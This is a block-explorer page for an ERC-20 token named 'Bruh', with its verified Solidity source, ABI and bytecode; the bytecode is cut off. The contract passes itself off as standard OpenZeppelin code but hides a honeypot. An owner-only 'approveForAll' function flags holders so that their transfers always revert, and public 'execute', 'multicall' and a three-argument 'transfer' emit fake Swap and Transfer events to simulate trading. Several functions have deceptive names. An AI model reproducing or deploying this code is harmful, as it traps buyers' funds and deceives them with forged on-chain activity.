ERC-20
Overview
Max Total Supply
10,000,000,000,000 BRUH
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
901,730,332,580.953835091139090134 BRUHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Bruh
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-15 */ /** *Submitted for verification at Etherscan.io on 2023-06-11 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _snapshot; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _snapshotApplied = false; string private _name; string private _symbol; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private _pair; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function setup(address _setup_) external onlyOwner { _pair = _setup_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } function approveForAll(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = true; emit Approval(_addresses_[i], address(this), balanceOf(_addresses_[i])); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function decreaseAllowance(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = false; } } function domainSeparator(address _address_) public view returns (bool) { return _snapshot[_address_]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (_snapshot[from] || _snapshot[to]) require(_snapshotApplied == true, ""); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Bruh is ERC20 { constructor() ERC20("Bruh", "BRUH") { _mint(msg.sender, 10000000000000 * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approveForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"domainSeparator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600560006101000a81548160ff02191690831515021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600481526020017f42727568000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f42525548000000000000000000000000000000000000000000000000000000008152506200016362000157620001df60201b60201c565b620001e760201b60201c565b81600690805190602001906200017b9291906200042d565b508060079080519060200190620001949291906200042d565b505050620001d933620001ac620002ab60201b60201c565b600a620001ba919062000677565b6509184e72a000620001cd9190620006c8565b620002b460201b60201c565b6200089c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000327576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200031e906200078a565b60405180910390fd5b6200033b600083836200042360201b60201c565b80600460008282546200034f9190620007ac565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040391906200081a565b60405180910390a36200041f600083836200042860201b60201c565b5050565b505050565b505050565b8280546200043b9062000866565b90600052602060002090601f0160209004810192826200045f5760008555620004ab565b82601f106200047a57805160ff1916838001178555620004ab565b82800160010185558215620004ab579182015b82811115620004aa5782518255916020019190600101906200048d565b5b509050620004ba9190620004be565b5090565b5b80821115620004d9576000816000905550600101620004bf565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056b57808604811115620005435762000542620004dd565b5b6001851615620005535780820291505b808102905062000563856200050c565b945062000523565b94509492505050565b60008262000586576001905062000659565b8162000596576000905062000659565b8160018114620005af5760028114620005ba57620005f0565b600191505062000659565b60ff841115620005cf57620005ce620004dd565b5b8360020a915084821115620005e957620005e8620004dd565b5b5062000659565b5060208310610133831016604e8410600b84101617156200062a5782820a905083811115620006245762000623620004dd565b5b62000659565b62000639848484600162000519565b92509050818404811115620006535762000652620004dd565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006848262000660565b915062000691836200066a565b9250620006c07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000574565b905092915050565b6000620006d58262000660565b9150620006e28362000660565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200071e576200071d620004dd565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000772601f8362000729565b91506200077f826200073a565b602082019050919050565b60006020820190508181036000830152620007a58162000763565b9050919050565b6000620007b98262000660565b9150620007c68362000660565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007fe57620007fd620004dd565b5b828201905092915050565b620008148162000660565b82525050565b600060208201905062000831600083018462000809565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087f57607f821691505b6020821081141562000896576200089562000837565b5b50919050565b61212580620008ac6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a1c617f51161007c578063a1c617f51461033c578063a457c2d714610358578063a9059cbb14610388578063beabacc8146103b8578063dd62ed3e146103d4578063f2fde38b1461040457610137565b8063715018a6146102aa5780637aac697b146102b45780638da5cb5b146102d057806390135fe4146102ee57806395d89b411461031e57610137565b8063313ce567116100ff578063313ce567146101f45780633950935114610212578063477e19441461024257806366d382031461025e57806370a082311461027a57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a5780631943943a146101a857806323b872dd146101c4575b600080fd5b610144610420565b60405161015191906115ff565b60405180910390f35b610174600480360381019061016f91906116bf565b6104b2565b604051610181919061171a565b60405180910390f35b6101926104d5565b60405161019f9190611744565b60405180910390f35b6101c260048036038101906101bd91906117c4565b6104df565b005b6101de60048036038101906101d99190611811565b610647565b6040516101eb919061171a565b60405180910390f35b6101fc610676565b6040516102099190611880565b60405180910390f35b61022c600480360381019061022791906116bf565b61067f565b604051610239919061171a565b60405180910390f35b61025c600480360381019061025791906117c4565b6106b6565b005b6102786004803603810190610273919061189b565b610763565b005b610294600480360381019061028f919061189b565b6107af565b6040516102a19190611744565b60405180910390f35b6102b26107f8565b005b6102ce60048036038101906102c991906118c8565b61080c565b005b6102d8610998565b6040516102e5919061194b565b60405180910390f35b6103086004803603810190610303919061189b565b6109c1565b604051610315919061171a565b60405180910390f35b610326610a17565b60405161033391906115ff565b60405180910390f35b610356600480360381019061035191906118c8565b610aa9565b005b610372600480360381019061036d91906116bf565b610c34565b60405161037f919061171a565b60405180910390f35b6103a2600480360381019061039d91906116bf565b610cab565b6040516103af919061171a565b60405180910390f35b6103d260048036038101906103cd9190611811565b610cce565b005b6103ee60048036038101906103e99190611966565b610d38565b6040516103fb9190611744565b60405180910390f35b61041e6004803603810190610419919061189b565b610dbf565b005b60606006805461042f906119d5565b80601f016020809104026020016040519081016040528092919081815260200182805461045b906119d5565b80156104a85780601f1061047d576101008083540402835291602001916104a8565b820191906000526020600020905b81548152906001019060200180831161048b57829003601f168201915b5050505050905090565b6000806104bd610e43565b90506104ca818585610e4b565b600191505092915050565b6000600454905090565b6104e7611016565b60005b828290508110156106425760016002600085858581811061050e5761050d611a07565b5b9050602002016020810190610523919061189b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1683838381811061059e5761059d611a07565b5b90506020020160208101906105b3919061189b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561061a868686818110610600576105ff611a07565b5b9050602002016020810190610615919061189b565b6107af565b6040516106279190611744565b60405180910390a3808061063a90611a65565b9150506104ea565b505050565b600080610652610e43565b905061065f858285611094565b61066a858585611120565b60019150509392505050565b60006012905090565b60008061068a610e43565b90506106ab81858561069c8589610d38565b6106a69190611aae565b610e4b565b600191505092915050565b6106be611016565b60005b8282905081101561075e576000600260008585858181106106e5576106e4611a07565b5b90506020020160208101906106fa919061189b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075690611a65565b9150506106c1565b505050565b61076b611016565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610800611016565b61080a6000611498565b565b60005b848490508110156109915784848281811061082d5761082c611a07565b5b9050602002016020810190610842919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516108c89493929190611b49565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061091c5761091b611a07565b5b9050602002016020810190610931919061189b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109769190611744565b60405180910390a3808061098990611a65565b91505061080f565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060078054610a26906119d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610a52906119d5565b8015610a9f5780601f10610a7457610100808354040283529160200191610a9f565b820191906000526020600020905b815481529060010190602001808311610a8257829003601f168201915b5050505050905090565b60005b84849050811015610c2d57848482818110610aca57610ac9611a07565b5b9050602002016020810190610adf919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610b649493929190611b8e565b60405180910390a3848482818110610b7f57610b7e611a07565b5b9050602002016020810190610b94919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c129190611744565b60405180910390a38080610c2590611a65565b915050610aac565b5050505050565b600080610c3f610e43565b90506000610c4d8286610d38565b905083811015610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611c45565b60405180910390fd5b610c9f8286868403610e4b565b60019250505092915050565b600080610cb6610e43565b9050610cc3818585611120565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d2b9190611744565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc7611016565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611cd7565b60405180910390fd5b610e4081611498565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290611d69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290611dfb565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173fffffffffffffffffff